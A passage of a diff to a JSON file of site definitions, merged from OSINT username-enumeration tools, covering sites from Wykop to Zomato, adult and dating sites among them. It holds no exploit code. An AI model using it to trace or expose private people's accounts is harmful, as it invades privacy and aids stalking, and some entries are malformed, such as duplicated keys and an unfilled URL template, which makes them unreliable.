"match_string": "email" + }, + { + "name": "www.xshaker.net", + "url": "https://www.xshaker.net/{}.html", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "/tube/txxxtv.html", + "match_string": "og:title" + }, + { + "name": "Wykop", + "url": "https://www.wykop.pl/ludzie/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "Aktywno\u015b\u0107 u\u017cytkownika" + }, + { + "name": "Wykop", + "url": "https://www.wykop.pl/ludzie/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wykop", + "url": "https://wykop.pl/ludzie/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Wyst\u0105pi\u0142 b\u0142\u0105d 404.", + "match_code": 200, + "match_string": "Profil:" + }, + { + "name": "Wykop", + "url": "https://wykop.pl/ludzie/{}/", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile:username" + }, + { + "name": "X", + "url": "https://api.x.com/i/users/username_available.json?username={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"reason\":\"available\"", + "match_code": 200, + "match_string": "\"reason\":\"taken\"" + }, + { + "name": "x-h2o.com", + "url": "http://www.x-h2o.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "X-time", + "url": "https://www.x-time.ru/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "content=\"noindex,follow" + }, + { + "name": "xakep.ru", + "url": "https://xakep.ru/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xakerminus.ucoz.ru", + "url": "http://xakerminus.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xanga", + "url": "https://{}.xanga.com/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Xanga 2.0 is Here!", + "match_string": "s Xanga Site | Just" + }, + { + "name": "Xanga", + "url": "http://{}.xanga.com/", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "match_code": 200, + "match_string": "s Xanga Site | Just" + }, + { + "name": "Xbox Gamertag", + "url": "https://xboxgamertag.com/search/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xbox Gamertag", + "url": "https://www.xboxgamertag.com/search/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Gamertag doesn't exist", + "match_code": 200, + "match_string": "Games Played" + }, + { + "name": "Xcams", + "url": "https://www.xcams.com/profile/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "not found", + "match_string": "years old" + }, + { + "name": "Xcraft", + "url": "https://xcraft.ru/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "<title>\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "XDA", + "url": "https://forum.xda-developers.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xeeders", + "url": "https://xeeders.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profiles_banner" + }, + { + "name": "xemera.at.ua", + "url": "http://xemera.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xenforo", + "url": "https://xenforo.com/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "xenforo.com", + "url": "https://xenforo.com/community//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xgm.guru", + "url": "https://xgm.guru/user/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0410\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044f", + "match_string": "\u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c:" + }, + { + "name": "xHamster", + "url": "https://xhamster.com/users/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User not found", + "match_string": "user-info-section" + }, + { + "name": "Xhamster", + "url": "https://ru.xhamster.com/users/{}", + "category": "adult", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "XHAMSTER (users)", + "url": "https://www.xhamster.com/users/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "{username}" + }, + { + "name": "Xiaomi", + "url": "https://xiaomi.eu/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "xiaozhuanlan", + "url": "https://xiaozhuanlan.com/u/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Xing", + "url": "https://www.xing.com/profile/{}", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xitlar.ucoz.net", + "url": "http://xitlar.ucoz.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xlovecam", + "url": "https://www.xlovecam.com/en/model/{}/", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "error 404", + "match_string": "years old" + }, + { + "name": "Xmswiki", + "url": "https://xmswiki.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "xn----7sbb0bfjrbhdi.xn--p1ai", + "url": "http://xn----7sbb0bfjrbhdi.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn----7sbcctevcqafop1aviko5l.xn--p1ai", + "url": "http://xn----7sbcctevcqafop1aviko5l.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn----7sbfejdvocrv7adem.xn--p1ai", + "url": "http://xn----7sbfejdvocrv7adem.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--24-6kcaal6ajt1cpibnu7d5dtc.xn--p1ai", + "url": "http://xn--24-6kcaal6ajt1cpibnu7d5dtc.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--80aepdb4ag.xn--p1ai", + "url": "http://xn--80aepdb4ag.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--80aqkf5cb.xn--p1ai", + "url": "http://xn--80aqkf5cb.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--90anbhklk.xn--p1ai", + "url": "http://xn--90anbhklk.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xn--90aybfeg.xn--p1ai", + "url": "http://xn--90aybfeg.xn--p1ai/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "XNXX", + "url": "https://www.xnxx.com/mobile/profile/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 400, + "error_string": "Bad request", + "match_code": 200, + "match_string": "<table id=\"profile\">" + }, + { + "name": "XNXX (porn-maker)", + "url": "https://www.xnxx.com/porn-maker/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "Porn Maker" + }, + { + "name": "XNXX (pornstars)", + "url": "https://www.xnxx.com/pornstar/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "Model page" + }, + { + "name": "xorazm-viloyati.ucoz.com", + "url": "http://xorazm-viloyati.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xpaja", + "url": "https://xpaja.net/user/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "header-channel" + }, + { + "name": "Xpanded", + "url": "https://xpanded.com/girls?search_profilename={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "but we were unable to find", + "match_string": ">Xpanded TV</a>" + }, + { + "name": "Xperiablog", + "url": "https://www.xperiablog.net/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Xrares", + "url": "https://xrares.com/user/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "error_string": "This user does not exist", + "match_string": "panel-body" + }, + { + "name": "xristos.vo.uz", + "url": "http://xristos.vo.uz/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Xss", + "url": "https://xss.is/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "XSS.is", + "url": "https://xss.is/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "xsssql", + "url": "http://www.xsssql.com/article/author/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "xt_ht_BLOCK_RU_IP", + "url": "http://{}.xt.ht/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "<b>[phpBB Debug] PHP Notice</b>" + }, + { + "name": "Xtratime", + "url": "https://www.xtratime.org/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "xtratime.org", + "url": "https://www.xtratime.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "XV Cams", + "url": "https://www.xvcams.com/models/bios/{}/about.php", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "The performer's bio you requested is not available.", + "match_string": "Webcam Bio - Naked Pics, Adult Videos, Sex Chat" + }, + { + "name": "Xvideos", + "url": "https://xvideos.com/profiles/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "XVIDEOS (pornstars)", + "url": "https://www.xvideos.com/pornstars/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "{username} - Channel page - XVIDEOS.COM" + }, + { + "name": "XVIDEOS (users/channels)", + "url": "https://www.xvideos.com/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "This account doesn\u2019t exist", + "match_string": "{username} - Channel page - XVIDEOS.COM" + }, + { + "name": "XVIDEOS Red", + "url": "https://www.xvideos.red/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Learn more", + "match_string": "video views" + }, + { + "name": "XVIDEOS-profiles", + "url": "https://www.xvideos.com/profiles/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "THIS PROFILE DOESN'T EXIST", + "match_code": 200, + "match_string": "page - XVIDEOS.COM" + }, + { + "name": "XvideosModels", + "url": "https://www.xvideos.com/models/{}", + "category": "adult", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "THIS PROFILE DOESN'T EXIST", + "match_string": "Total video views" + }, + { + "name": "Xxxbunker", + "url": "https://xxxbunker.com/users/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "error_string": "FILE NOT FOUND", + "match_string": "\"profile\"" + }, + { + "name": "XXXfollow", + "url": "https://www.xxxfollow.com/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "XXX follow - Free TikTok Porn (formerly Xfollow)", + "match_string": "Views
    " + }, + { + "name": "XXXForum.org", + "url": "https://xxxforum.org/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "xyuivet-mailcpy.moy.su", + "url": "http://xyuivet-mailcpy.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ya-uchitel", + "url": "https://ya-uchitel.ru//index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ya-uchitel", + "url": "https://ya-uchitel.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "yagubov.site", + "url": "http://yagubov.site/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Yahoo! JAPAN Auction", + "url": "https://auctions.yahoo.co.jp/follow/list/{}", + "category": "shopping", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 500, + "error_string": "Yahoo! JAPAN ID\u304c\u7121\u52b9\u3067\u3059\u3002", + "match_code": 200, + "match_string": "\u51fa\u54c1\u8005" + }, + { + "name": "Yalta-info", + "url": "http://www.yalta-info.net/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "yamaya.ru", + "url": "https://yamaya.ru/profile/?{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "

    ", + "match_string": "Skype:" + }, + { + "name": "Yandex_Dzen", + "url": "https://dzen.ru/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YandexBugbounty", + "url": "https://yandex.ru/bugbounty/researchers/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YandexCollections API", + "url": "https://yandex.ru/collections/api/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "cl-not-found-content__title", + "match_string": "public_id" + }, + { + "name": "YandexMarket", + "url": "https://market.yandex.ru/user/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "//yastatic.net/market-export/_/i/zero-state/404.svg" + }, + { + "name": "YandexMusic", + "url": "https://music.yandex.ru/users/{}/playlists", + "category": "music", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YandexMusic", + "url": "https://music.yandex/users/{}/playlists", + "category": "music", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "\u041e\u0448\u0438\u0431\u043a\u0430 404" + }, + { + "name": "YandexReviews", + "url": "https://reviews.yandex.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u043a\u0440\u044b\u043b \u0441\u0432\u043e\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443", + "match_string": "content=\"\u041e\u0442\u0437\u044b\u0432\u044b \u0438 \u043e\u0446\u0435\u043d\u043a\u0438" + }, + { + "name": "YandexZenChannel", + "url": "https://dzen.ru/channel/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ".zen-ui-page-404", + "match_string": "zen_object_id" + }, + { + "name": "YandexZenUser", + "url": "https://zen.yandex.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YandexZnatoki", + "url": "https://yandex.ru/q/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Yapisal", + "url": "{urlMain}/u/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\"error_type\":\"not_found\"", + "match_string": "\"user\":{\"id\":" + }, + { + "name": "Yapisal", + "url": "https://forum.yapisal.net/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YaPishu.net", + "url": "https://yapishu.net/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code", + "match_string": "for_profile" + }, + { + "name": "Yareny", + "url": "https://yareny.com/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found!" + }, + { + "name": "Yazawaj", + "url": "https://www.yazawaj.com/profile/{}", + "category": "dating", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "nodata", + "match_code": 200, + "match_string": "profile-description" + }, + { + "name": "Yazawaj", + "url": "https://yazawaj.com/profile/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile/{username}" + }, + { + "name": "Yazbel", + "url": "https://forum.yazbel.com/u/{}/summary", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Yelp", + "url": "http://{}.yelp.com/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "viewName", + "match_string": "Username" + }, + { + "name": "Yelp (by id)", + "url": "https://www.yelp.com/user_details?userid={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "error-page", + "match_string": "Birthday" + }, + { + "name": "yerkramas.do.am", + "url": "http://yerkramas.do.am/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YesWeHack", + "url": "https://api.yeswehack.com/hunters/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"code\":404", + "match_code": 200, + "match_string": "\"username\":" + }, + { + "name": "yka.kz", + "url": "http://yka.kz/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Yougame", + "url": "https://yougame.biz/{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "YouNow", + "url": "https://www.younow.com/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No users found" + }, + { + "name": "YouNow", + "url": "https://api.younow.com/php/api/broadcast/info/user={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"errorMsg\":\"No users found\"", + "match_code": 200, + "match_string": "\"userId\":" + }, + { + "name": "Younow", + "url": "https://younow.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "is broadcasting" + }, + { + "name": "Younow", + "url": "https://www.younow.com/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "YouPic", + "url": "https://youpic.com/photographer/{}/", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "youpic", + "url": "https://youpic.com/photographer/{}", + "category": "art", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>YouPic \u2014 Not Found", + "match_code": 200, + "match_string": "404 Not Found", + "match_code": 200, + "match_string": "joinedDateText" + }, + { + "name": "YouTube User", + "url": "https://www.youtube.com/user/{}/about", + "category": "video", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "404 Not Found", + "match_code": 200, + "match_string": "joinedDateText" + }, + { + "name": "youtubechannel", + "url": "https://www.youtube.com/c/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "yras.ucoz.ru", + "url": "http://yras.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Ytmnd", + "url": "https://www.ytmnd.com/users/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Unknown user" + }, + { + "name": "Ytmnd", + "url": "https://ytmnd.com/users/{}/", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user_profile_stats" + }, + { + "name": "Yummly", + "url": "https://mapi.yummly.com/mapi/v19/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "match_string": "profileName" + }, + { + "name": "Yumpu", + "url": "https://www.yumpu.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "float-left", + "match_string": "yp-grid-mag-container yp-content-container" + }, + { + "name": "Yuvutu (profile)", + "url": "http://www.yuvutu.com/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">Members</span>", + "match_string": "personal info</h1>" + }, + { + "name": "Yuvutu (search)", + "url": "http://www.yuvutu.com/modules.php?name=Video&op=search&keywords={}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<strong>0 result(s)</strong>", + "match_string": ">1</a>" + }, + { + "name": "Yvision", + "url": "https://yvision.kz/u/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "helmet=\"true\">404", + "match_code": 200, + "match_string": "
    " + }, + { + "name": "zennenhund.ucoz.ru", + "url": "http://zennenhund.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zenway", + "url": "https://zenway.ru/forum/search.php?action=search&keywords=&author={}&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Zepeto", + "url": "https://gw-napi.zepeto.io/profiles/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "errorCode\":", + "match_code": 200, + "match_string": "zepetoId\":" + }, + { + "name": "zerkalastekla.ru", + "url": "http://zerkalastekla.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zerocoolpro", + "url": "https://zerocoolpro.biz/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "zhelezyaka.at.ua", + "url": "http://zhelezyaka.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zhihu", + "url": "https://www.zhihu.com/people/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u7528\u6237\u4e0d\u5b58\u5728" + }, + { + "name": "zhihu", + "url": "https://api.zhihu.com/books/people/{}/publications?offset=0&limit=5", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"name\": \"NotFoundException\"", + "match_code": 200, + "match_string": "\"is_start\": true" + }, + { + "name": "Zhihu", + "url": "https://zhihu.com/people/{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": ">404", + "match_string": "\"users\":{\"" + }, + { + "name": "Zhyk", + "url": "https://zhyk.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zhyk", + "url": "https://zhyk.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "zid.moy.su", + "url": "http://zid.moy.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zillow", + "url": "https://www.zillow.com/profile/{}/", + "category": "shopping", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "match_code": 200, + "match_string": "- Real Estate Agent" + }, + { + "name": "Zismo", + "url": "https://zismo.biz/index.php?app=core&module=search&do=search&andor_type=&search_author={}&search_content=both&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=0&search_app_filters[members][comments][sortKey]=date&search_app_filters[members][comments][sortDir]=0&search_term=&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + }, + { + "name": "Zmarsa.com", + "url": "https://zmarsa.com/uzytkownik/{}/glowna/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "B\u0142\u0105d na stronie", + "match_string": "Galeria u\u017cytkownika" + }, + { + "name": "zmarsa.com", + "url": "https://zmarsa.com/uzytkownik/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "Error 404 - zMarsa.com<", + "match_code": 200, + "match_string": "Statystyki" + }, + { + "name": "Zmey", + "url": "https://zmey.ru/user/@{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Znanija", + "url": "https://znanija.com/graphql/ru?operationName=NickAvailability&query=query NickAvailability($nick:String!){nickAvailability(nick:$nick){isAvailable}}&variables={\"nick\":\"{}\"}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"isAvailable\":true", + "match_code": 200, + "match_string": "\"isAvailable\":false" + }, + { + "name": "Znanylekarz.pl", + "url": "https://www.znanylekarz.pl/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "zoig.com", + "url": "https://zoig.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "zol", + "url": "https://my.zol.com.cn/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Zomato", + "url": "https://www.zomato.com/pl/{}/foodjourney", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Zomato", + "url": "https://www.zomato.com/{}/reviews", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "This is a 404 page and we think it's fairly clear", + "match_code": 200, + "match_string": "Activity</h4>" + }, + { + "name": "Zomato", + "url": "https://www.zomato.com/pl/{}/reviews", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "data-chunk=\"pages-Search\" src=\"" + }, + { + "name": "Zomato", + "url": "https://www.zomato.com/{}/foodjourney", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "404 | Zomato", + "match_code": 200, + "match_string": "| Zomato" + }, + { + "name": "Zonazakona", + "url": "https://www.zonazakona.ru/forum/search/?q={}&quick=1&type=core_members", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 results" + }, + { + "name": "Zoomir.ir", + "url": "https://www.zoomit.ir/user/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "txtSearch", + "match_string": "Email" + }, + { + "name": "zoomitir", + "url": "https://www.zoomit.ir/user/{}/", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>\u062e\u0637\u0627\u06cc \u06f4\u06f0\u06f4 - \u0635\u0641\u062d\u0647 \u06cc\u0627\u0641\u062a \u0646\u0634\u062f", + "match_code": 301 + }, + { + "name": "zornet.ru", + "url": 